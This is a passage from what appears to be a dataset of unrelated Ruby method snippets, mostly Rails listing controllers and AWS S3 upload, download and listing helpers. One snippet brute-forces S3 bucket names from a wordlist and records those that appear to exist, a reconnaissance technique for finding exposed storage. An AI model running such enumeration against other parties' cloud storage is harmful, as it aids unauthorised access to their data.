location.path_in_public\n )\n end", "def update_photo_urls(records, subdirectories)\r\n\r\n updated_records = []\r\n\r\n records.each do |record_hash|\r\n\r\n urls_array = generate_image_urls(record_hash[\"photos\"], subdirectories)\r\n record_hash[\"photos\"] = urls_array\r\n updated_records.push(record_hash)\r\n\r\n end\r\n\r\n return updated_records \r\n\r\nend", "def process_listing_nodes(listings)\n listings.each_with_index do |hash, index|\n id = hash[:vendor_id]\n sku = hash[:vebdor_sku]\n vendor_sku = hash[:vendor_sku]\n vendor_url = hash[:vendor_url]\n next if Listing.data_present?(vendor_sku, 'wayfair')\n puts \"=== starting id: #{id} \\\n | sku: #{sku} \\\n | iteration: #{index}\"\n Listing.append_wayfair_url(\n vendor_sku,\n vendor_url)\n Listing.append_vendor_attrs(\n vendor_sku,\n hash)\n end\n end", "def set_listing\n @listing = Listing.find(params[:access_token])\n end", "def initialize(data_source, *opts)\n @data_source = data_source\n @s3_bucket = AWS::S3.new.buckets[@data_source.s3_path[/s3:\\/\\/([\\w-]+)\\//,1]]\n @s3_obj = @s3_bucket.objects[@data_source.s3_path[/s3:\\/\\/[\\w-]+\\/(.*)/,1]]\n end", "def store_entries(entries)\n path_checksums = {}\n entries.each do |entry|\n path_checksums[entry.path] = entry.sha256 if entry.sha256.present?\n store_entry entry\n end\n store_checksums path_checksums\n end", "def s3_files\n S3File.find_by_project_name(folder_name + \"/\") unless folder_name.nil?\n end", "def listing_params\n #added mutiple pictures to upload as an array and removed picture from listings table\n params.require(:listing).permit(:title, :description, :price, :product, :condition, :buyer_id, :seller_id, pictures: [])\n end", "def update\n respond_to do |format|\n if @listing.update(listing_params)\n params[:listing_attachments]['listing_attachment'].each do |l|\n @listing_attachment = @listing.listing_attachments.create!(:listing_image => l, :listing_id => @listing.id)\n end\n format.html { redirect_to @listing, notice: 'Listing was successfully updated.' }\n format.json { render :show, status: :ok, location: @listing }\n else\n format.html { render :edit }\n format.json { render json: @listing.errors, status: :unprocessable_entity }\n end\n end\n end", "def enrich_with_attributes(dir_list, path)\n rich_dir_list = []\n dir_list.each do |element|\n file_path = path + '/' + element\n filename, extension = split_to_filename_and_extension element\n file_size = File.size file_path\n file_time = File.stat(file_path).mtime\n rich_dir_list << { :original_name => element, \n :filename => filename,\n :extension => extension,\n :type => file_type(file_path),\n :size => file_size,\n :file_time => file_time,\n :timestamp => file_time.to_i\n }\n end\n rich_dir_list\n end", "def getTestersList(org_id)\n begin\n UI.message(\"Getting s3://sportarchive-prod-creds/bfan_testers_list.txt\")\n s3 = Aws::S3::Client.new(region: 'us-east-1')\n obj = s3.get_object({\n bucket: \"sportarchive-prod-creds\",\n key: 'bfan_testers_list.txt'\n },\n target: '/tmp/bfan_testers_list.txt')\n rescue StandardError => e\n UI.error(\"Unable to get testers list from S3 from s3://sportarchive-prod-creds/bfan_testers_list.txt \")\n return \"\"\n end\n\n testers = File.read('/tmp/bfan_testers_list.txt').split(\",\")\n\n org = getOrg(org_id)\n if org && org['settings'] && org['settings']['apps'] && org['settings']['apps']['testers']\n UI.message(\"Adding custom testers: #{org['settings']['apps']['testers'].join(',')}\")\n testers |= org['settings']['apps']['testers']\n end\n\n testers = testers.compact.reject(&:empty?).map!(&:strip)\n testers = testers.join(',')\n UI.important(\"Testers: #{testers}\")\n\n return testers\nend", "def inputlisttest\n puts \"============== \\n\"\n puts \"Results:\"\n\n File.open('assetlist.txt') do |searchlist|\n searchlist.each_line do |searchquery|\n\n puts \"Asset: \" + searchquery\n assetname = searchquery.downcase.chomp\n\n Dir.foreach('./jsons/') do |item|\n next if item == '.' or item == '..'\n\n #it doesn't appear to treat 'item' as a file object it is a just a string of the filename..\n obj = JSON.parse(File.read('./jsons/' + item))\n description = obj[0][\"_source\"][\"description\"]\n\n if description.downcase.include? assetname\n puts item\n puts obj[0][\"_source\"][\"title\"]\n puts \"\\n\"\n end\n\n end\n end\n end\n\n puts \"=============\"\n\n end", "def given_listings(*attributes)\n attributes.map do |hash|\n if category = hash.delete(:category)\n hash[:category] = given_category(category)\n end\n\n if seller = hash.delete(:seller)\n hash[:seller] = User.find_by_email!(seller)\n end\n\n if photo = hash.delete(:photo)\n photo = ListingPhoto.new(\n :file => File.open(File.expand_path(photo))\n )\n end\n\n if size = hash.delete(:size)\n hash[:size] = given_size_tag(size)\n end\n\n if category = hash.delete(:condition)\n hash[:dimension_values] = [given_condition(category)]\n end\n\n tags = given_tags(hash.delete(:tags) || [])\n\n state = hash.delete(:state) || 'active'\n\n listing = FactoryGirl.create(\"#{state}_listing\".to_sym, hash)\n listing.photos << photo if photo\n listing.tags = tags if tags.any?\n listing\n end\n end", "def upload_file(source,bucket,key_prefix,source_prefix,item_lookup)\n source_prefix = $1 if not source_prefix and source =~ /^(\\.+\\/*)/\n if File.directory?(source)\n upload_files(Dir[\"#{source}/*\"],bucket,key_prefix,source_prefix,item_lookup)\n else\n key = \"#{key_prefix}#{source[(source_prefix || '').length..-1]}\"\n source_size = File.size(source)\n if (last_size = item_lookup[key]) and last_size == source_size\n puts \"SKIP #{source}\"\n else\n if last_size\n print \"UPDATE #{source} => s3://#{bucket.name}/#{key} (#{last_size} => #{source_size})\"\n else\n print \"ADD #{source} => s3://#{bucket.name}/#{key} (#{source_size})\"\n end\n start_time = Time.now\n File.open(source,'rb') do|file|\n bucket.object(key).put(body: file)\n end\n puts \"... #{(Time.now - start_time).to_i}\"\n end\n end\nend", "def parse\n hash = Hash.from_xml(@xml)\n\n contents = hash[\"ListBucketResult\"][\"Contents\"]\n\n # In cases when there is only one item returned,\n # Contents key is parsed as a Hash; make it into an array\n unless contents.is_a?(Array)\n if contents.is_a?(Hash)\n contents = [contents]\n else\n raise StandardError,\n \"Expected 'ListBucketResult/Contents' \" +\n \"key to be an Array, was '#{contents.class}'\"\n end\n end\n\n files = contents.map do |content|\n S3::File.new(\n content[\"Key\"],\n content[\"Size\"],\n content[\"ETag\"].gsub('\"', ''),\n Time.parse(content[\"LastModified\"]),\n @logger,\n )\n end\n\n max_keys = hash[\"ListBucketResult\"][\"MaxKeys\"].to_i\n\n is_truncated = hash[\"ListBucketResult\"][\"IsTruncated\"] == \"true\"\n\n S3::BucketPage.new(@bucket_url, files, max_keys, is_truncated, @logger)\n end", "def getObjectsList\n begin\n #get a handle on the user selected bucket\n s3 = createS3Connection\n bucket = s3.buckets[session[:s3bucket]]\n\n #pull down a list of the object names only\n objects_array = []\n # final_objects_array = []\n\n #bucket.objects.each do |obj|\n # objects_array.push(obj.key)\n #end\n\n bucket.objects.each do |obj|\n objects_array.push({:name => obj.key, :size => (obj.content_length / 1024.0).round(2), :type => obj.content_type, :last_mod => obj.last_modified})\n end\n\n objects_array = createEmptyObjectsArray if objects_array.empty?\n\n return objects_array\n #if !objects_array.empty?\n # objects_array.each do |obj_name|\n # final_objects_array.push({:name => obj_name, :size => '', :type => ''})\n # end\n # else\n # final_objects_array = [{:name => '', :size => '', :type => ''}]\n # end\n # return final_objects_array\n rescue Exception => error\n # return createEmptyObjectsArray\n return createEmptyObjectsArray\n flash.now[:danger] = \"<strong>Error!</strong>\".html_safe + \" Problem creating S3 object list: #{error}.\"\n end\n end", "def ls(bucket)\n ::Taxi::S3.instance.ls(bucket)\n end", "def init_list!\n write! unless File.exist?(path)\n @init_mtime = File.mtime(path)\n content.deep_merge!(\n MultiJson.load(\n File.open(path, \"r\") do |file|\n file.flock(File::LOCK_SH)\n file.read\n end\n )\n )\n end", "def initialize(entry)\n for name in entry\n self[\"_#{name}\"] = entry[name]\n end\n end", "def add_stored(entry, src_path, &continue_on_exists_proc); end", "def listing_params\n params.require(:listing).permit(:title, :price, :description, :measurements, :state, :city, :suburb, images: [])\n end", "def listing_params\n params.require(:listing).permit(:name, :content)\n end", "def set_metadata\n s3_obj.metadata[\"filename\"] = file_name\n s3_obj.metadata[\"bindery-pid\"] = persistent_id\n end", "def set_listing\n @listing = Listing.find_by_slug!(params[:id])\n end", "def import_file_content_from_s3\n AWS::S3.new.buckets['csv_data_feed'].objects['csv.csv'].read\nend", "def extract\n init_kms(@kms_opt)\n\n entries.map do |entry|\n local_file = File.join(@local_path, entry.name)\n logger.info \"Downloading #{entry.pathname} from S3 to #{local_file}\"\n File.open(local_file, 'wb') { |file| entry.raw.get({ response_target: file }.merge(encrypt_args)) }\n local_file\n end\n end", "def formatted_file_list(title, source_files); end", "def create_object_list(section, mapper)\n @api.objects\n .select { |o| section.key?(o.name) }\n .map do |o|\n Hash[section[o.name].map { |file| mapper.call(o, file) }]\n end\n end", "def build_listing_array(all_listings)\n parsed_listings_array = []\n all_listings.map do |val, info|\n parsed_listings_array <<\n {\n \"listing_class\" => val.css('div.details-title a')[0]['data-gtm-listing-type'],\n \"address\" => val.css('.details-title>a').text.split('#')[0].gsub(/\\s+$/,''),\n \"unit\" => val.css('.details-title>a')[0].text.partition('#').last,\n \"url\" => \"www.streeteasy.com/\" + val.css('.details-title>a')[0]['href'],\n \"price\" => val.css('span.price').text.delete('$ ,').to_i\n }\n end\n parsed_listings_array\n end", "def create\n @listing = current_user.listings.new(listing_params)\n\n respond_to do |format|\n if @listing.save\n params[:listing_photos]['image'].each do |a|\n @listing_photo = @listing.listing_photos.create!(:image => a, :listing_id => @listing.id)\n end\n format.html { redirect_to @listing, notice: 'Listing was successfully created.' }\n format.json { render :show, status: :created, location: @listing }\n else\n format.html { render :new }\n format.json { render json: @listing.errors, status: :unprocessable_entity }\n end\n end\n end", "def parse_listing(page, listing_id)\n {\n\ttitle: extract_title(page),\n\tdescription: parse_description(page),\n\tspace_type_id: 1,\n\tlength: 1.0,\n\twidth: 1.0,\n\theight: 1.0,\n\tis_for_vehicle: false,\n\tis_small_transport: false,\n\tis_large_transport: false,\n\trental_rate: parse_rate(page),\n\tsurface_id: 1,\n\trental_term_id: 1,\n\tis_no_height: false,\n\tsrc_url: page.uri.to_s,\n\tsource_site: 'kj',\n\tsource_id: listing_id\n }\n end", "def create_listing(label, opts = {})\n options = default_options.merge(PROFILES.fetch(label.to_s, {})).merge(opts)\n\n listing = BwRex::Listings.new(options)\n listing.price_advertise_as = \"$ #{options[:price]}\"\n listing.inbound_unique_id = label\n\n parameters = options.merge(address).merge(listing: listing)\n session = BwRex::PublishNewListingSession.new(parameters)\n session.listing_subcategory(SUBCATEGORY)\n session.listing_advert(body: \"Summary\\r\\nHighlights\\n*First item\\n*Second item\")\n session.listing_image(PHOTO)\n\n session.run\n end", "def merge(client_id)\n\n client = Client.find(client_id)\n\n #Transfer all client's elements to self, except for personal data and custom_attributes\n client.bookings.update_all(client_id: self.id)\n client.client_comments.update_all(client_id: self.id)\n client.client_email_logs.update_all(client_id: self.id)\n client.mock_bookings.update_all(client_id: self.id)\n client.payments.update_all(client_id: self.id)\n client.product_logs.update_all(client_id: self.id)\n client.ratings.update_all(client_id: self.id)\n client.session_bookings.update_all(client_id: self.id)\n client.treatment_logs.update_all(client_id: self.id)\n client.charts.update_all(client_id: self.id)\n\n s3_bucket = Aws::S3::Resource.new.bucket(ENV['S3_BUCKET'])\n\n new_path = 'companies/' + self.company.id.to_s + '/clients/' + self.id.to_s + '/'\n old_path = 'companies/' + client.company.id.to_s + '/clients/' + client.id.to_s + '/'\n\n puts \"Old path: \" + old_path\n puts \"New path: \" + new_path\n\n client.client_files.each do |client_file|\n\n obj = s3_bucket.object(client_file.full_path)\n\n if obj.exists?\n content_type = obj.content_type\n\n obj_name = obj.key.gsub(old_path, new_path)\n\n puts \"Old key: \" + obj.key\n puts \"New key: \" + obj_name\n\n obj.move_to({bucket: ENV['S3_BUCKET'], key: obj_name}, {acl: 'public-read', content_type: content_type})\n\n new_obj = s3_bucket.object(obj_name)\n\n client_file.update_columns(client_id: self.id, full_path: obj_name, public_url: new_obj.public_url)\n else\n client_file.delete\n end\n\n end\n\n client.delete\n\n\n end", "def update\n\n respond_to do |format|\n if @listing.update_attributes(listing_params)\n if params[:pictures]\n #===== The magic is here ;)\n params[:pictures].each { |image| \n @listing.pictures.create(file: image)\n } \n end\n format.html { redirect_to admin_listings_url, notice: 'Listing was successfully updated.' }\n format.json { render :show, status: :ok, location: @listing }\n else\n format.html { render :edit }\n format.json { render json: @listing.errors, status: :unprocessable_entity }\n end\n end\n end", "def build_listing_metadata record, tags\n return unless record.is_a?(StaticPage) && %w[articles meditations treatments subtle_system].include?(record.role)\n\n records_name = (record.role == 'subtle_system' ? 'subtle_system_nodes' : record.role)\n records = instance_variable_get(\"@#{records_name}\")\n return unless records.present?\n\n if admin?\n items = \"<list of #{records_name}>\"\n else\n items = records.each_with_index.map do |item, index|\n {\n '@type' => 'ListItem',\n 'position' => index,\n 'url' => polymorphic_url(item),\n }\n end\n end\n\n {\n '@context' => 'https://schema.org',\n '@type' => 'ItemList',\n 'itemListElement' => items,\n }\n end", "def file_list(hash)\n\nend", "def file_list(hash)\n\nend", "def set_listing\n @listing = Listing.find(params[:id])\n @amenities = Amenity.all\n @rules = Rule.all\n @pictures = @listing.pictures\n end", "def retrieve_listing_basics(listingDetail, listing)\n\t\t\t\tlisting[:title] = \"444 Washington Boulevard\"\n\t\t\t\tlisting[:city_name] = \"Jersey City\"\n\t\t\t\tlisting[:state_name] = \"NJ\"\n\t\t\t\tlisting[:zipcode] = \"07310\"\n\t\t\t\tlisting[:contact_tel] = \"2012169200\"\n\t\t\t\tlisting[:description] = \"Located by the historic Waterfront Walkway on the Hudson River, Avalon Cove brings a new sense of luxury living to this metropolis. Our newly renovated Jersey City apartments boast one-, two-, three- and four-bedroom designs in this bustling haven. Some of the upgrades you will find include designer gourmet kitchens with granite counters, stainless-steel appliances, hardwood floors, espresso cabinetry, marble tile bathrooms, spacious walk-in closets and private patios and balconies with great views of Manhattan. Residents can choose to spend their leisure time in the landscaped barbecue and picnic areas, at the sparkling outdoor heated swimming pool, state of the art fitness center, clubroom with billiards or at the beautiful waterfront walkway. Residents can also engage in sporting activities as our Jersey City apartments have an indoor basketball court, two lighted tennis courts and two indoor racquetball courts. Residents of our apartments in Jersey City also have access to local public transportation, on-site storage units, private garage space, gated entrance with controlled access and 24-hour maintenance service.\"\n\t\t\t\tlisting[:amenities] = [\"Granite countertops\",\"Marble tile entries and baths\",\"Spacious walk-in closets\",\"24-hour emergency maintenance\",\"Fully-equipped kitchens include dishwashers\",\"On-site laundry facilities\",\"Complimentary package acceptance service\"]\n\t\t\t\treturn listing\n\t\t\tend", "def list_s3_bucket_files(bucket)\n\n s3 = connect_to_s3()\n resp = s3.list_objects_v2(bucket: bucket)\n counter = 1\n\n resp.contents.each do |obj|\n puts \"#{bucket} bucket file #{counter}: #{obj.key}\"\n counter += 1\n end\n\nend", "def listingsToUpdate(current_user)\n # if there exists an attribut name \"hidden_upload_id\"\n if @valid_attributes.any? {|x| x[:name] == \"hidden_upload_id\"}\n # go through each line (listing)\n @listing_data.each_with_index do |listing, index|\n if listing[:hidden_upload_id] != nil && index > 0\n # get new listing owner\n person = \n if listing[:username] && @relation == :rentog_admin\n Person.where(username: listing[:username]).last || current_user\n else\n current_user\n end\n\n hidden_upload_custom_field_id = CustomFieldName.where(\"value like '%hidden upload id%'\")[0].custom_field_id\n\n # all listings with this hidden upload id\n old_listings = []\n name_of_first_dev = \"\"\n\n all_entries_with_this_upload_id_num = CustomFieldValue.where(:custom_field_id => hidden_upload_custom_field_id, :text_value => listing[:hidden_upload_id])\n all_entries_with_this_upload_id_num.each do |entry|\n # check if listing is not deleted, the title is the same and if the listing belongs to users company or the supervisors domain\n old_listing = entry.listing\n if old_listing && !old_listing.deleted && \n old_listing.title == listing[:device_name] && \n (old_listing.author == person.get_company || \n current_user.is_supervisor_of?(old_listing.author) && old_listing.author.username == listing[:pool_id])\n\n # listing is already marked as \"update\"...means that there are multiple entries in the excel file with the same title and hidden upload id\n if listing[:update] && listing[:invalid]\n listing[:invalid][:msg] += \", \" + listing[:device_name]\n elsif listing[:update]\n listing[:invalid] = {type: \"multiple_same_devices\", msg: \"There are more than 1 device with the same hidden upload id registered for your company: \"}\n listing[:invalid][:msg] += name_of_first_dev + \", \" + listing[:device_name]\n else\n listing[:update] = true\n listing[:listing_id] = old_listing.id\n name_of_first_dev = listing[:device_name]\n end\n end\n end\n end\n end\n end\n end", "def listing_params\n params.require(:listing).permit(:title, :created_at, :content, :picture, :price, :category_id)\n end", "def set_listing\n @listing = Listing.find_by(address: params[:address])\n end", "def process_pending_objects\n prefix = \"#{path.base_name}/#{path.pending}\"\n collection = amazon_s3.bucket.objects(prefix: prefix)\n\n collection.map do |s3_object|\n _, _, filename = s3_object.key.split('/')\n object_type, _, _ = filename.split('_')\n\n content = amazon_s3.convert_download('json', s3_object.get.body.read).first\n s3_object.move_to(\"#{path.base_name_w_bucket}/#{path.ready}/#{filename}\")\n\n # return the content of file to create the requests\n { object_type => content }\n end.flatten\n end", "def create\n @listing = Listing.new(params[:listing])\n @listing.urls.append params[:url]\n\n respond_to do |format|\n if @listing.save\n format.html { redirect_to @listing, notice: 'Listing was successfully created.' }\n format.json { render json: @listing, status: :created, location: @listing }\n else\n format.html { render action: \"new\" }\n format.json { render json: @listing.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @listing = Listing.new(listing_params)\n @listing.user_id = current_user.id\n @listing.published_at = DateTime.now\n respond_to do |format|\n if @listing.save\n if params[:images]\n @uploaded_images = params[:images]\n @uploaded_images.each { |image, object|\n @listing.pictures.create(image: object)\n }\n end\n @listing.search_tags << @listing.city << @listing.state << @listing.postal_code << @listing.country\n @listing.save\n flash[:notice] = \"new listing\"\n format.html { redirect_to @listing, notice: 'Listing was successfully created.' }\n format.json { render :show, status: :created, location: @listing }\n else\n format.html { render :new }\n format.json { render json: @listing.errors, status: :unprocessable_entity }\n end\n end\n end", "def load_blog_list_from_local\n input = YAML.load(File.read('blogs.yaml'))['blogs']\n\n blogs = []\n input.each do |blog|\n blog_id = calculate_id_for(blog)\n item = {\n '__typename': 'Blog',\n '_version': 1,\n '_lastChangedAt': Time.now.to_i,\n id: blog_id,\n title: blog['title'],\n url: blog['url']\n }\n\n $ddb_client.put_item({\n table_name: BLOGS_TABLE,\n item: item\n })\n\n blogs.push(item)\n end\n\n p \"Added #{blogs.length} blogs\"\n { items: blogs, count: blogs.length }\nend", "def put(io_streams, as=io_streams.map{|file| File.basename(file)})\n batch(io_streams) do |stream, i|\n dest = as[i]\n yield(stream, dest) if block_given?\n begin\n s3.buckets[@bucket_name].objects[dest].write(stream, :acl => :public_read)\n rescue AWS::S3::Errors::NoSuchBucket\n s3.buckets.create(@bucket_name, :acl => :public_read)\n stream.rewind\n retry\n end #begin\n file_to_url(dest)\n end #batch\n end", "def set_listing\n @listing = Listing.find(params[\"id\"])\n end", "def create\n @listing = Listing.new(listing_params)\n\n respond_to do |format|\n if @listing.save\n params[:listing_attachments]['listing_attachment'].each do |l|\n @listing_attachment = @listing.listing_attachments.create!(:listing_image => l, :listing_id => @listing.id)\n end\n format.html { redirect_to @listing, notice: 'Listing was successfully created.' }\n format.json { render :show, status: :created, location: @listing }\n else\n format.html { render :new }\n format.json { render json: @listing.errors, status: :unprocessable_entity }\n end\n end\n end", "def get_entries(dir, subfolder); end", "def listing_params\n params.require(:listing).permit(:title, :description, :place, :min_price, :max_price, tag_ids: [], images_attributes: [:id, :commoner_id, :picture, :imageable_id, :imageable_type, :picture_cache, :_destroy]).tap do |lp|\n if lp[:images_attributes].present?\n lp.merge images_attributes: lp[:images_attributes].transform_values! {|v| v.merge(commoner_id: current_user.meta.id)}\n end\n end\n end", "def remote_files(bucket, folders)\n objects = @s3.buckets[bucket].objects.with_prefix(File.join(folders))\n objects.each do |object|\n relative_path = object.key.split(/\\//).drop folders.length\n next if object.content_length.nil? or object.content_length == 0 or relative_path.empty?\n yield remote_item(object, relative_path)\n end\n end", "def build_properties\n properties.each do |key,val|\n prop = listing_properties.find_or_initialize_by(key:key)\n prop.value = val\n\n end\n end", "def set_bucket_list\n @bucket_list = BucketList.find(params[:id])\n end", "def set_bucket_list\n @bucket_list = BucketList.find(params[:id])\n end", "def set_listing\n @listing = Listing.find(params[:id])\n @pictures = @listing.pictures\n end", "def list_objects(prefix=\"\")\n prefix = \"media/#{prefix}\"\n puts \"Listing media files in s3://#{$s3_bucket}/#{prefix}\"\n\n objects = []\n $s3_client.list_objects(bucket: $s3_bucket, prefix: prefix).each do |resp|\n if block_given?\n resp.contents.each do |object|\n yield object unless object[:key].end_with? '/'\n end\n else\n objects.concat(resp.contents.reject{|object| object[:key].end_with? '/' })\n end\n end\n objects unless block_given?\nend", "def listing_params\n params.fetch(:listing, {})\n end", "def new_item(item)\n unless item.include?(File::SEPARATOR)\n prefixes = [\n config.get(:sfn_parameters, :directory),\n \"infrastructure\",\n \"stacks\",\n ].compact\n prefix = prefixes.find_all do |dir|\n File.directory?(dir)\n end\n if prefix.size > 1\n raise ArgumentError.new \"Unable to auto-determine directory for item! Multiple directories found. \" \\\n \"(detected: #{prefix.join(\", \")})\"\n elsif prefix.empty?\n raise ArgumentError.new \"No existing parameter directories found. Please create required directory. \" \\\n \"(checked: #{prefixes.join(\", \")})\"\n end\n File.join(prefix.first, \"#{item}.json\")\n end\n end", "def listing_params\n params.require(:listing).permit(:name, :description, :price, :image)\n end", "def destroy\n foldernames = []\n unless @listing.photo.blank?\n foldernames.push(@listing.photo.match(/uploads.*/)[0])\n end\n unless @listing.manual.blank?\n foldernames.push(@listing.manual.match(/uploads.*/)[0])\n end\n unless @listing.map.blank?\n foldernames.push(@listing.map.match(/uploads.*/)[0])\n end\n\n foldernames.each {|foldername|\n S3_BUCKET.delete_objects(delete: {objects: [key: foldername]})\n }\n\n @listing.destroy\n respond_to do |format|\n format.html { redirect_to listings_url, notice: 'Listing was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def update\n unless @listing.tag_list == listing_params[:tag_list].split(\",\")\n @listing.tag_list = listing_params[:tag_list]\n @listing.save\n end\n respond_to do |format|\n if @listing.update(listing_params)\n format.html { redirect_to @listing, notice: 'Your listing has been updated.' }\n format.json { render :show, status: :ok, location: @listing }\n else\n format.html { render :edit }\n format.json { render json: @listing.errors, status: :unprocessable_entity }\n end\n end\n end", "def listing_params\n params.require(:listing).permit(:title, :price, :location, :bedrooms, :bathrooms, :amenities, :description, {image:[]}, :used_date, :all_tags, :tag)\n end", "def fetch_items_from_filesystem_or_zip\n unless in_zip?\n @items = Dir.foreach(current_dir).map {|fn|\n load_item dir: current_dir, name: fn\n }.to_a.partition {|i| %w(. ..).include? i.name}.flatten\n else\n @items = [load_item(dir: current_dir, name: '.', stat: File.stat(current_dir)),\n load_item(dir: current_dir, name: '..', stat: File.stat(File.dirname(current_dir)))]\n zf = Zip::File.new current_dir\n zf.each {|entry|\n next if entry.name_is_directory?\n stat = zf.file.stat entry.name\n @items << load_item(dir: current_dir, name: entry.name, stat: stat)\n }\n end\n end", "def insert_listing(listing)\n res = post_to_insert_url(listing)\n res\n end", "def process_bucket(bucketname,options: {},logger: Logger.new(LOGFILE))\n \n client = Elasticsearch::Client.new(host: options.elasticsearch, log: false)\n indexer = ElasticIndexer.new(client: client, autocommit: 500,logger: logger)\n \n logger.info(\"Scanning #{bucketname}\")\n Aws::S3::Bucket.new(bucketname).objects.each {|objectsummary|\n logger.info(\"got key #{objectsummary.key}\")\n ct_major = \"\"\n ct_minor = \"\"\n parts = /^(.*)\\/(.*)$/.match(objectsummary.object.content_type)\n if parts\n ct_major = parts[1]\n ct_minor = parts[2]\n else\n logger.warn(\"Unable to parse content type '#{objectsummary.object.content_type}'\")\n end\n \n xtn = \"\"\n parts = /\\.([^\\.]+)$/.match(objectsummary.key)\n if parts\n xtn = parts[1]\n end\n \n ap objectsummary.object.metadata\n \n indexer.add_record({\n bucket: bucketname,\n etag: objectsummary.etag,\n path: objectsummary.key,\n last_modified: Date.parse(objectsummary.last_modified.to_s).iso8601,\n owner: {\n display_name: objectsummary.owner.display_name,\n id: objectsummary.owner.id\n },\n size: objectsummary.size,\n content_type: {\n major: ct_major,\n minor: ct_minor,\n raw: objectsummary.object.content_type\n },\n storage_class: objectsummary.storage_class,\n content_encoding: objectsummary.object.content_encoding,\n content_disposition: objectsummary.object.content_disposition,\n extra_data: objectsummary.object.metadata,\n file_extension: xtn\n })\n }\n indexer.commit\nrescue Aws::S3::Errors::PermanentRedirect=>e\n logger.error(e.message)\nend", "def store_product_attributes(listing_attrs)\n sku = listing_attrs[:vendor_sku]\n url = listing_attrs[:vendor_url]\n Listing.append_menards_url(sku, url)\n Listing.append_vendor_attrs(sku, listing_attrs)\n end", "def listing_params\n params.require(:listing)\n .permit(:title, :description, :price, :model, :year, :length, :kind, :city, :state, photos: [])\n .merge(price: params[:listing][:price].gsub(\",\", \"\"))\n\n end", "def listing_params\n params.require(:listing).permit(:title, :description, :picture, :price, :category_id)\n end", "def run\n super\n\n opt_use_file = _get_option(\"use_file\")\n opt_filename = _get_option(\"brute_file\")\n\n if opt_use_file\n _log \"Using file: #{opt_filename}\"\n potential_buckets = File.read(\"#{$intrigue_basedir}/data/#{opt_filename}\").split(\"\\n\")\n else\n _log \"Using provided brute list\"\n potential_buckets = _get_entity_name.split(\",\")\n end\n\n potential_buckets.each do |pb|\n\n pb.chomp!\n\n # Check prefix\n potential_bucket_uri = \"https://#{pb}.s3.amazonaws.com?max-keys=1\"\n doc = Nokogiri::HTML(http_get_body(\"#{potential_bucket_uri}\"))\n next if ( doc.xpath(\"//code\").text =~ /NoSuchBucket/ ||\n doc.xpath(\"//code\").text =~ /InvalidBucketName/ ||\n doc.xpath(\"//code\").text =~ /AllAccessDisabled/ ||\n doc.xpath(\"//code\").text =~ /AccessDenied/ ||\n doc.xpath(\"//code\").text =~ /PermanentRedirect/)\n _create_entity(\"AwsS3Bucket\", {\"name\" => \"#{potential_bucket_uri}\", \"uri\" => \"#{potential_bucket_uri}\" })\n end\n\n potential_buckets.each do |pb|\n # Check postfix\n potential_bucket_uri = \"https://s3.amazonaws.com/#{pb}?max-keys=1\"\n doc = Nokogiri::HTML(http_get_body(\"#{potential_bucket_uri}\"))\n next if ( doc.xpath(\"//code\").text =~ /NoSuchBucket/ ||\n doc.xpath(\"//code\").text =~ /InvalidBucketName/ ||\n doc.xpath(\"//code\").text =~ /AllAccessDisabled/ ||\n doc.xpath(\"//code\").text =~ /AccessDenied/ ||\n doc.xpath(\"//code\").text =~ /PermanentRedirect/)\n _create_entity(\"AwsS3Bucket\", {\"name\" => \"#{potential_bucket_uri}\", \"uri\" => \"#{potential_bucket_uri}\" })\n end\n\n end", "def show_item_path\n unless $list_Item.curselection.empty?\n idx = $list_Item.curselection\n idx = idx[0]\n $bucket_item = $bucket_items[idx]\n $bucket_string = \"https://s3-#{$region}.amazonaws.com/#{$bucket}/#{$bucket_item}\"\n $save_file_button.state = 'normal'\n $delete_file_button.state = 'normal'\n $item_public_read.state = 'normal'\n $item_public_write.state = 'normal'\n $item_text.delete('1.0','end')\n $item_text.insert 'end',$bucket_string\n resp = $s3.client.get_object_acl(bucket: $bucket,key: $bucket_item)\n if resp.grants[1]\n get_permission = resp.grants[1].permission\n if get_permission == 'READ'\n $item_public_read.select()\n end\n end\n if resp.grants[2]\n get_permission2 = resp.grants[2].permission\n if get_permission2 == 'WRITE'\n $item_public_write.select()\n end\n end\n else\n Tk.messageBox('type' => 'ok',\n 'icon' => 'error',\n 'title' => 'Object Select',\n 'message' => 'You need to select a Object')\n end\n end", "def listing_params\n params.require(:listing).permit(\n :host_id,\n :title,\n :description,\n :price,\n :max_capacity,\n :site,\n :lat,\n :lng,\n :location,\n :check_in,\n :check_out,\n :photos\n )\n end", "def list_my_buckets(s3)\n resp = s3.list_buckets\n puts \"My buckets now are:\\n\\n\"\n\n resp.buckets.each do |bucket|\n puts bucket.name\n end\n\nend", "def get_listing(listing_id)\n query_and_build \"marketplace/listings/#{listing_id}\"\n end", "def s3_upload(item)\n filepath = item.zip_file_path\n s3_key = item.s3_path\n s3_path = \"s3://#{s3_bucket}/#{s3_key}\"\n message = \"Uploading: #{filepath} to #{s3_path}\".color(:green)\n message = \"NOOP: #{message}\" if @options[:noop]\n puts message\n return if @options[:noop]\n\n s3.put_object(\n body: IO.read(filepath),\n bucket: s3_bucket,\n key: s3_key,\n )\n end", "def list_my_buckets(s3)\n resp = s3.list_buckets()\n puts \"My buckets now are:\\n\\n\"\n\n resp.buckets.each do |bucket|\n puts bucket.name\n end\n\nend", "def add(entry, src_path, &continue_on_exists_proc); end", "def list_exists(url, directory)\n unless File.file?(directory + 'list.json')\n update_list(url, directory)\n end\nend", "def load_checksums!\n return if @options[:noop]\n\n resp = s3.list_objects(bucket: s3_bucket, prefix: @prefix)\n resp.contents.each do |object|\n @checksums[object.key] = strip_surrounding_quotes(object.etag)\n end\n @checksums\n end", "def set_listing\n id = params[:id]\n @listing = Listing.find(id)\n end", "def listing_params\n params.require(:listing).permit(:address, :price, :description, :image)\n end", "def populate\n file = File.new(json_file, 'r')\n storage = Yajl::Parser.parse(file)\n\n storage['lists'].each do |lists|\n lists.each do |list_name, items|\n @lists << list = List.new(list_name)\n\n items.each do |item|\n item.each do |name,value|\n list.add_item(Item.new(name,value))\n end\n end\n end\n end\n end" ]
